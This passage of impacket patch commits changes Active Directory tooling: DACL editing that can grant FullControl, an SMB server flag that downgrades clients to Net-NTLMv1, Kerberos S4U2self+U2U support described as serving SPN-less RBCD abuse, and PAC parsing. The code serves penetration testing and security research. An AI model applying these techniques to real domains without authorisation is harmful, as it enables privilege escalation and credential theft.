access type MaximumAllowed = 0x02000000 # Access System Acl access type - AccessSystemSecurity = 0x01000000 + AccessSystemSecurity = 0x01000000 # ADS_RIGHT_ACCESS_SYSTEM_SECURITY # Standard access types - Synchronize = 0x00100000 - WriteOwner = 0x00080000 - WriteDAC = 0x00040000 - ReadControl = 0x00020000 - Delete = 0x00010000 + Synchronize = 0x00100000 # ADS_RIGHT_SYNCHRONIZE + WriteOwner = 0x00080000 # ADS_RIGHT_WRITE_OWNER + WriteDACL = 0x00040000 # ADS_RIGHT_WRITE_DAC + ReadControl = 0x00020000 # ADS_RIGHT_READ_CONTROL + Delete = 0x00010000 # ADS_RIGHT_DELETE # Specific rights - WriteAttributes = 0x00000100 - ReadAttributes = 0x00000080 - DeleteChild = 0x00000040 - Execute_Traverse = 0x00000020 - WriteExtendedAttributes = 0x00000010 - ReadExtendedAttributes = 0x00000008 - AppendData = 0x00000004 - WriteData = 0x00000002 - ReadData = 0x00000001 + AllExtendedRights = 0x00000100 # ADS_RIGHT_DS_CONTROL_ACCESS + ListObject = 0x00000080 # ADS_RIGHT_DS_LIST_OBJECT + DeleteTree = 0x00000040 # ADS_RIGHT_DS_DELETE_TREE + WriteProperties = 0x00000020 # ADS_RIGHT_DS_WRITE_PROP + ReadProperties = 0x00000010 # ADS_RIGHT_DS_READ_PROP + Self = 0x00000008 # ADS_RIGHT_DS_SELF + ListChildObjects = 0x00000004 # ADS_RIGHT_ACTRL_DS_LIST + DeleteChild = 0x00000002 # ADS_RIGHT_DS_DELETE_CHILD + CreateChild = 0x00000001 # ADS_RIGHT_DS_CREATE_CHILD # Simple permissions enum # Simple permissions are combinaisons of extended permissions +# https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc783530(v=ws.10)?redirectedfrom=MSDN class SIMPLE_PERMISSIONS(Enum): FullControl = 0xf01ff Modify = 0x0301bf From 1d0befb0e92f61fb52f27601496cfc68c3a08bac Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 15 May 2022 22:10:35 +0200 Subject: [PATCH 124/163] Clarifying debug message --- examples/dacledit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 9eb83c97d..9d6bec8c5 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -283,7 +283,7 @@ def write(self): # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified # Append the ACEs in the DACL locally if self.rights == "FullControl" and self.rights_guid is None: - logging.debug("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) + logging.debug("Appending ACE (%s --(FullControl)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) else: for rights_guid in self.build_guids_for_rights(): From 52c5449d085ff1336442cbb235c6fadf9561bbdd Mon Sep 17 00:00:00 2001 From: Davide Ornaghi Date: Sun, 26 Jun 2022 21:01:57 +0200 Subject: [PATCH 125/163] Added flag to drop SSP from Net-NTLMv1 auth --- examples/smbserver.py | 2 ++ impacket/ntlm.py | 7 +++++-- impacket/smbserver.py | 24 ++++++++++++++++++++---- 3 files changed, 27 insertions(+), 6 deletions(-) diff --git a/examples/smbserver.py b/examples/smbserver.py index df658a0f7..b65e3fc2f 100755 --- a/examples/smbserver.py +++ b/examples/smbserver.py @@ -42,6 +42,7 @@ parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') + parser.add_argument('-dropssp', action='store_true', default=False, help='Disable NTLM ESS/SSP during negotiation') parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') if len(sys.argv)==1: @@ -72,6 +73,7 @@ server.addShare(options.shareName.upper(), options.sharePath, comment) server.setSMB2Support(options.smb2support) + server.setDropSSP(options.dropssp) # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous # connections will be allowed diff --git a/impacket/ntlm.py b/impacket/ntlm.py index bf26f1d6c..b9c5c4a9a 100644 --- a/impacket/ntlm.py +++ b/impacket/ntlm.py @@ -145,6 +145,9 @@ def computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, # If set, the connection SHOULD be anonymous NTLMSSP_NEGOTIATE_ANONYMOUS = 0x00000800 +# Flags used by Responder to drop SSP (little endian) +NTLMSSP_DROP_SSP_STATIC = 0xe2818215 + # If set, LM authentication is not allowed and only NT authentication is used. NTLMSSP_NEGOTIATE_NT_ONLY = 0x00000400 @@ -269,7 +272,7 @@ class VERSION(Structure): ) class NTLMAuthNegotiate(Structure): - + structure = ( ('','"NTLMSSP\x00'), ('message_type',' Date: Sat, 9 Jul 2022 12:35:59 +0000 Subject: [PATCH 126/163] Description update of dacledit.py --- examples/dacledit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 9d6bec8c5..17a919f33 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -8,7 +8,7 @@ # for more information. # # Description: -# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer +# Python script to read and manage the Discretionary Access Control List of an object # # Authors: # Charlie BROMBERG (@_nwodtuhs) From 866a269b923ac112bfc735ee8442c265cc0244a1 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 22 Jul 2022 00:08:50 +0200 Subject: [PATCH 127/163] Fixing logic error that was overwriting files --- examples/dacledit.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 17a919f33..ba589d853 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -21,7 +21,7 @@ import codecs import json import logging -import re +import os import sys import traceback import datetime @@ -360,6 +360,10 @@ def backup(self): backup["dn"] = self.target_principal.entry_dn if not self.filename: self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") + else: + if os.path.exists(self.filename): + logging.ingo("File %s already exists, I'm refusing to overwrite it, setting another filename") + self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") with codecs.open(self.filename, 'w', 'utf-8') as outfile: json.dump(backup, outfile) logging.info('DACL backed up to %s', self.filename) From 8c3904d887cc108dae0553fc82be5ffcf003ff2b Mon Sep 17 00:00:00 2001 From: synzack Date: Thu, 21 Jul 2022 16:36:55 -0600 Subject: [PATCH 128/163] Fixed Logging Output --- examples/dacledit.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index ba589d853..688c7c4a5 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -362,7 +362,7 @@ def backup(self): self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") else: if os.path.exists(self.filename): - logging.ingo("File %s already exists, I'm refusing to overwrite it, setting another filename") + logging.info("File %s already exists, I'm refusing to overwrite it, setting another filename" % self.filename) self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") with codecs.open(self.filename, 'w', 'utf-8') as outfile: json.dump(backup, outfile) @@ -389,9 +389,8 @@ def restore(self): # Do a backup of the actual DACL and push the restoration self.backup() + logging.info('Restoring DACL') self.modify_secDesc_for_dn(self.target_DN, new_security_descriptor) - logging.info('The DACL has been well restored.') - # Attempts to retrieve the DACL in the Security Descriptor of the specified target def search_target_principal_security_descriptor(self): From bf19912c7954bb52fd125c92ccdc64aead578ffe Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 7 Sep 2022 11:47:58 +0200 Subject: [PATCH 129/163] Adding support for S4U2self + U2U --- examples/getST.py | 47 ++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 42 insertions(+), 5 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 75b564f95..674a24459 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -31,9 +31,15 @@ # # Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. # -# Author: +# Authors: # Alberto Solino (@agsolino) -# +# Charlie Bromberg (@_nwodtuhs) +# Martin Gallo (@MartinGalloAr) +# Dirk-jan Mollema (@_dirkjan) +# Elad Shamir (@elad_shamir) +# @snovvcrash +# Leandro (@0xdeaddood) +# Jake Karnes (@jakekarnes42) from __future__ import division from __future__ import print_function @@ -57,7 +63,7 @@ from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart from impacket.krb5.ccache import CCache, Credential -from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key from impacket.krb5.constants import TicketFlags, encodeFlags from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive from impacket.krb5.types import Principal, KerberosTime, Ticket @@ -449,11 +455,21 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) + + if self.__options.u2u: + logging.info("Combining S4U2self with U2U") + logging.info("TGT session key: %s" % hexlify(sessionKey.contents).decode()) + opts.append(constants.KDCOptions.renewable_ok.value) + opts.append(constants.KDCOptions.enc_tkt_in_skey.value) + reqBody['kdc-options'] = constants.encodeFlags(opts) if self.__no_s4u2proxy and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + if self.__options.u2u: + serverName = Principal(self.__user, self.__domain, type=constants.PrincipalNameType.NT_UNKNOWN.value) + else: + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -465,6 +481,9 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) seq_set_iter(reqBody, 'etype', (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + if self.__options.u2u: + seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),)) + if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print(tgsReq.prettyPrint()) @@ -670,7 +689,18 @@ def run(self): # Still no TGT userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + if self.__options.u2u and self.__password: + # 1. calculating the NT hash for the user password + # 2. Using it to call getKerberosTGT and obtain a ticket with an RC4_HMAC session key + # 3. the RC4_HMAC session key can then be used for SPN-less RBCD abuse (session key set as new password of the user between S4U2self and S4U2proxy) + logging.info("Requesting TGT with etype RC4") + self.__nthash = hexlify(string_to_key(23, self.__password, '').contents).decode() + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), unhexlify(self.__nthash), + self.__aesKey, + self.__kdcHost) + else: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) @@ -722,6 +752,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-u2u', dest='u2u', action='store_true', help='Request User-to-User ticket') parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' @@ -762,6 +793,12 @@ def run(self): if options.additional_ticket is not None and options.impersonate is None: parser.error("argument -impersonate is required when doing S4U2proxy") + if options.u2u is not None and (options.no_s4u2proxy is None and options.impersonate is None): + parser.error("-u2u is not implemented yet without being combined to S4U. Can't obtain a plain User-to-User ticket") + # implementing plain u2u would need to modify the getKerberosTGS() function and add a switch + # in case of u2u, the proper flags should be added in the request, as well as a proper S_PRINCIPAL structure with the domain being set in order to target a UPN + # the request would also need to embed an additional-ticket (the target user's TGT) + # Init the example's logger theme logger.init(options.ts) From bd6cde2db457fbf3be912971d4e81050c900d146 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 7 Sep 2022 15:01:28 +0200 Subject: [PATCH 130/163] Removing logging tabs for uniformity with other scripts --- examples/getST.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 674a24459..b9a44bbc8 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -348,7 +348,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey ) message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') + logging.info('Requesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) return r, None, sessionKey, None @@ -488,7 +488,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) logging.debug('Final TGS') print(tgsReq.prettyPrint()) - logging.info('\tRequesting S4U2self') + logging.info('Requesting S4U2self') message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) @@ -670,7 +670,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) ) message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') + logging.info('Requesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) return r, None, sessionKey, None From 6ab1acf231c9c96dae111101fc061ea38e7de8c5 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Tue, 30 Aug 2022 17:11:52 +0200 Subject: [PATCH 131/163] add PAC_REQUESTOR and PAC_ATTRIBUTES_INFO --- examples/describeTicket.py | 23 ++++++++++++++++++++++- impacket/krb5/pac.py | 17 ++++++++++++++++- 2 files changed, 38 insertions(+), 2 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index ce25ee2db..0f866b0be 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -101,6 +101,10 @@ class UF_FLAG_Codes(Enum): UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000 UF_USE_AES_KEYS = 0x08000000 +# PAC_ATTRIBUTES_INFO Flags code +class Attributes_Flags(Enum): + PAC_WAS_REQUESTED = 0x00000001 + PAC_WAS_GIVEN_IMPLICITLY = 0x00000002 def parse_ccache(args): ccache = CCache.loadFile(args.ticket) @@ -422,7 +426,24 @@ def PACparseGroupIds(data): parsed_data['TransitedListSize'] = delegationInfo.fields['TransitedListSize'].fields['Data'] parsed_data['S4UTransitedServices'] = delegationInfo['S4UTransitedServices'].decode('utf-8') parsed_tuPAC.append({"DelegationInfo": parsed_data}) - + elif infoBuffer['ulType'] == pac.PAC_ATTRIBUTES_INFO: + attributeInfo = pac.PAC_ATTRIBUTE_INFO(data) + flags = attributeInfo['Flags'] + attr_flags = [] + for flag_lib in Attributes_Flags: + if flags & flag_lib.value: + attr_flags.append(flag_lib.name) + + parsed_data = { + 'Flags': f"({flags}) {', '.join(attr_flags)}" + } + parsed_tuPAC.append({"Attributes Info": parsed_data}) + elif infoBuffer['ulType'] == pac.PAC_REQUESTOR_INFO: + requestorInfo = pac.PAC_REQUESTOR(data) + parsed_data = { + 'UserSid': requestorInfo['UserSid'].formatCanonical() + } + parsed_tuPAC.append({"Requestor Info": parsed_data}) else: logging.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index f01bc47f8..3122399fa 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -12,7 +12,7 @@ # Author: # Alberto Solino (@agsolino) # -from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT +from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, RPC_SID from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY from impacket.dcerpc.v5.rpcrt import TypeSerialization1 @@ -30,6 +30,8 @@ PAC_CLIENT_INFO_TYPE = 10 PAC_DELEGATION_INFO = 11 PAC_UPN_DNS_INFO = 12 +PAC_ATTRIBUTES_INFO = 17 +PAC_REQUESTOR_INFO = 18 ################################################################################ # STRUCTURES @@ -236,3 +238,16 @@ class VALIDATION_INFO(TypeSerialization1): structure = ( ('Data', PKERB_VALIDATION_INFO), ) + +# 2.14 PAC_ATTRIBUTES_INFO +class PAC_ATTRIBUTE_INFO(NDRSTRUCT): + structure = ( + ('FlagsLength', ULONG), + ('Flags', ULONG), + ) + +# 2.15 PAC_REQUESTOR +class PAC_REQUESTOR(NDRSTRUCT): + structure = ( + ('UserSid', RPC_SID), + ) From 4ed1c52f2ddd2d8ab7fa4917298039222ed50390 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Wed, 31 Aug 2022 12:18:09 +0200 Subject: [PATCH 132/163] Temporary fix RPC_SID faulty implem with LDAP_SID --- impacket/krb5/pac.py | 31 +++++++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index 3122399fa..d119349e7 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -16,6 +16,7 @@ from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.ldap.ldaptypes import LDAP_SID from impacket.structure import Structure ################################################################################ @@ -247,7 +248,29 @@ class PAC_ATTRIBUTE_INFO(NDRSTRUCT): ) # 2.15 PAC_REQUESTOR -class PAC_REQUESTOR(NDRSTRUCT): - structure = ( - ('UserSid', RPC_SID), - ) +# It should be RPC_SID (with NDRSTRUCT sub-class) but the impacket implementation is malfunctioning: https://github.com/SecureAuthCorp/impacket/issues/1386 +#class PAC_REQUESTOR(NDRSTRUCT): +# structure = ( +# ('UserSid', RPC_SID), +# ) +# In the meantime, using LDAP_SID with minimal custom implementation +class PAC_REQUESTOR: + + def __init__(self, data): + self.fields = {'UserSid': LDAP_SID(data)} + + # For other method not implemented, directly call 'UserSid' field + def __getitem__(self, key): + return self.fields[key] + + def __setitem__(self, key, value): + self.fields[key] = value + + def getData(self): + return self.fields['UserSid'].getData() + + def __str__(self): + return self.getData() + + def __len__(self): + return len(self.getData()) From 9d2276be1b1882456baad3762e61c3e32c354ae8 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Wed, 31 Aug 2022 12:57:37 +0200 Subject: [PATCH 133/163] Complete UPN_DNS_INFO implementation with S Flag data --- examples/describeTicket.py | 24 +++++++++++++++++++++++- impacket/krb5/pac.py | 4 ++++ 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0f866b0be..59f910f8c 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -36,6 +36,7 @@ from impacket.krb5.ccache import CCache from impacket.krb5.constants import ChecksumTypes from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key +from impacket.ldap.ldaptypes import LDAP_SID PSID = PRPC_SID @@ -101,6 +102,11 @@ class UF_FLAG_Codes(Enum): UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000 UF_USE_AES_KEYS = 0x08000000 +# PAC_ATTRIBUTES_INFO Flags code +class Upn_Dns_Flags(Enum): + U_UsernameOnly = 0x00000001 + S_SidSamSupplied = 0x00000002 + # PAC_ATTRIBUTES_INFO Flags code class Attributes_Flags(Enum): PAC_WAS_REQUESTED = 0x00000001 @@ -360,10 +366,26 @@ def PACparseGroupIds(data): DnsDomainNameLength = upn['DnsDomainNameLength'] DnsDomainNameOffset = upn['DnsDomainNameOffset'] DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') + flags = upn['Flags'] + attr_flags = [] + for flag_lib in Upn_Dns_Flags: + if flags & flag_lib.value: + attr_flags.append(flag_lib.name) parsed_data = {} - parsed_data['Flags'] = upn['Flags'] + parsed_data['Flags'] = f"({flags}) {', '.join(attr_flags)}" parsed_data['UPN'] = UpnName parsed_data['DNS Domain Name'] = DnsName + + if Upn_Dns_Flags.S_SidSamSupplied.name in attr_flags: + # SamAccountName and Sid is also supplied + SamNameLength = upn['SamNameLength'] + SamNameOffset = upn['SamNameOffset'] + SamName = data[SamNameOffset:SamNameOffset+SamNameLength].decode('utf-16-le') + SidLength = upn['SidLength'] + SidOffset = upn['SidOffset'] + Sid = LDAP_SID(data[SidOffset:SidOffset+SidLength]) # Using LDAP_SID instead of RPC_SID (https://github.com/SecureAuthCorp/impacket/issues/1386) + parsed_data["SamAccountName"] = SamName + parsed_data["UserSid"] = Sid.formatCanonical() parsed_tuPAC.append({"UpnDns": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_SERVER_CHECKSUM: diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index d119349e7..c223240bd 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -207,6 +207,10 @@ class UPN_DNS_INFO(Structure): ('DnsDomainNameLength', ' Date: Wed, 31 Aug 2022 16:37:34 +0200 Subject: [PATCH 134/163] Split UPN_DNS struct --- examples/describeTicket.py | 1 + impacket/krb5/pac.py | 11 +++++++++++ 2 files changed, 12 insertions(+) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 59f910f8c..5d0809cec 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -377,6 +377,7 @@ def PACparseGroupIds(data): parsed_data['DNS Domain Name'] = DnsName if Upn_Dns_Flags.S_SidSamSupplied.name in attr_flags: + upn = pac.UPN_DNS_INFO_FULL(data) # SamAccountName and Sid is also supplied SamNameLength = upn['SamNameLength'] SamNameOffset = upn['SamNameOffset'] diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index c223240bd..9529d4e60 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -201,6 +201,17 @@ class S4U_DELEGATION_INFO(NDRSTRUCT): # 2.10 UPN_DNS_INFO class UPN_DNS_INFO(Structure): + structure = ( + ('UpnLength', ' Date: Wed, 31 Aug 2022 17:11:40 +0200 Subject: [PATCH 135/163] Handle null constructor --- impacket/krb5/pac.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index 9529d4e60..62c97d8de 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -271,7 +271,7 @@ class PAC_ATTRIBUTE_INFO(NDRSTRUCT): # In the meantime, using LDAP_SID with minimal custom implementation class PAC_REQUESTOR: - def __init__(self, data): + def __init__(self, data=None): self.fields = {'UserSid': LDAP_SID(data)} # For other method not implemented, directly call 'UserSid' field From 1aaba17e475da4ecafa81d059d1549bded37d980 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Thu, 1 Sep 2022 15:12:03 +0200 Subject: [PATCH 136/163] Add multiline print for data array + Add a corresponding table for well-kwonw group Id --- examples/describeTicket.py | 124 +++++++++++++++++++++++++++++++++++-- 1 file changed, 118 insertions(+), 6 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 5d0809cec..be0aaf1ac 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -18,9 +18,9 @@ import sys import traceback import argparse -import binascii import datetime import base64 +from typing import Sequence from Cryptodome.Hash import MD4 from enum import Enum @@ -112,6 +112,76 @@ class Attributes_Flags(Enum): PAC_WAS_REQUESTED = 0x00000001 PAC_WAS_GIVEN_IMPLICITLY = 0x00000002 + +# Builtin known Windows Group +MsBuiltInGroups = { + '512': "Domain Admins", + '513': "Domain Users", + '514': "Domain Guests", + '515': "Domain Computers", + '516': "Domain Controllers", + '517': "Cert Publishers", + '518': "Schema Admins", + '519': "Enterprise Admins", + '520': "Group Policy Creator Owners", + '553': "RAS and IAS Servers", + "S-1-5-1": "Dialup", + "S-1-5-113": "Local account", + "S-1-5-114": "Local account and member of Administrators group", + "S-1-5-2": "Network", + "S-1-5-3": "Batch", + "S-1-5-4": "Interactive", + "S-1-5-6": "Service", + "S-1-5-7": "Anonymous Logon", + "S-1-5-8": "Proxy", + "S-1-5-9": "Enterprise Domain Controllers", + "S-1-5-10": "Self", + "S-1-5-11": "Authenticated Users", + "S-1-5-12": "Restricted Code", + "S-1-5-13": "Terminal Server User", + "S-1-5-14": "Remote Interactive Logon", + "S-1-5-15": "This Organization", + "S-1-5-17": "IUSR", + "S-1-5-18": "System (or LocalSystem)", + "S-1-5-19": "NT Authority (LocalService)", + "S-1-5-20": "Network Service", + "S-1-5-32-544": "Administrators", + "S-1-5-32-545": "Users", + "S-1-5-32-546": "Guests", + "S-1-5-32-547": "Power Users", + "S-1-5-32-548": "Account Operators", + "S-1-5-32-549": "Server Operators", + "S-1-5-32-550": "Print Operators", + "S-1-5-32-551": "Backup Operators", + "S-1-5-32-552": "Replicators", + "S-1-5-32-554": "Builtin\\Pre-Windows", + "S-1-5-32-555": "Builtin\\Remote Desktop Users", + "S-1-5-32-556": "Builtin\\Network Configuration Operators", + "S-1-5-32-557": "Builtin\\Incoming Forest Trust Builders", + "S-1-5-32-558": "Builtin\\Performance Monitor Users", + "S-1-5-32-559": "Builtin\\Performance Log Users", + "S-1-5-32-560": "Builtin\\Windows Authorization Access Group", + "S-1-5-32-561": "Builtin\\Terminal Server License Servers", + "S-1-5-32-562": "Builtin\\Distributed COM Users", + "S-1-5-32-568": "Builtin\\IIS_IUSRS", + "S-1-5-32-569": "Builtin\\Cryptographic Operators", + "S-1-5-32-573": "Builtin\\Event Log Readers", + "S-1-5-32-574": "Builtin\\Certificate Service DCOM Access", + "S-1-5-32-575": "Builtin\\RDS Remote Access Servers", + "S-1-5-32-576": "Builtin\\RDS Endpoint Servers", + "S-1-5-32-577": "Builtin\\RDS Management Servers", + "S-1-5-32-578": "Builtin\\Hyper-V Administrators", + "S-1-5-32-579": "Builtin\\Access Control Assistance Operators", + "S-1-5-32-580": "Builtin\\Remote Management Users", + "S-1-5-64-10": "NTLM Authentication", + "S-1-5-64-14": "SChannel Authentication", + "S-1-5-64-21": "Digest Authentication", + "S-1-5-80": "NT Service", + "S-1-5-80-0": "All Services", + "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines", +} + + def parse_ccache(args): ccache = CCache.loadFile(args.ticket) @@ -220,13 +290,28 @@ def parse_ccache(args): adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] # So here we have the PAC pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + # parsing every PAC parsed_pac = parse_pac(pacType, args) logging.info("%-30s:" % "Decoding credential[%d]['ticket']['enc-part']" % cred_number) + # One section per PAC for element_type in parsed_pac: element_type_name = list(element_type.keys())[0] logging.info(" %-28s" % element_type_name) + # iterate over each attribute of the current PAC for attribute in element_type[element_type_name]: - logging.info(" %-26s: %s" % (attribute, element_type[element_type_name][attribute])) + value = element_type[element_type_name][attribute] + if isinstance(value, str): + logging.info(" %-26s: %s" % (attribute, value)) + elif isinstance(value, Sequence): + # If the value is an array, print as a multiline view for better readability + if len(value) > 0: + logging.info(" %-26s: %s" % (attribute, value[0])) + for subvalue in value[1:]: + logging.info(" "*32+"%s" % subvalue) + else: + logging.info(" %-26s:" % attribute) + else: + logging.debug(f"Unknown data type : {type(value)} > {value}") cred_number += 1 @@ -291,7 +376,15 @@ def PACparseGroupIds(data): parsed_data['User RID'] = kerbdata['UserId'] parsed_data['Group RID'] = kerbdata['PrimaryGroupId'] parsed_data['Group Count'] = kerbdata['GroupCount'] - parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])]) + + all_groups_id = [str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])] + groups = [", ".join(all_groups_id)] + # Searching for common group name + for gid in all_groups_id: + group_name = MsBuiltInGroups.get(gid) + if group_name: + groups.append(f"({gid}) {group_name}") + parsed_data['Groups'] = groups # UserFlags parsing UserFlags = kerbdata['UserFlags'] @@ -328,8 +421,15 @@ def PACparseGroupIds(data): for flag in SE_GROUP_Attributes: if attributes & flag.value: attributes_flags.append(flag.name) - extraSids.append("%s (%s)" % (sid, ', '.join(attributes_flags))) - parsed_data['Extra SIDs'] = ', '.join(extraSids) + # Group name matching + group_name = MsBuiltInGroups.get(sid, '') + if not group_name and len(sid.split('-')) == 8: + # Try to find an 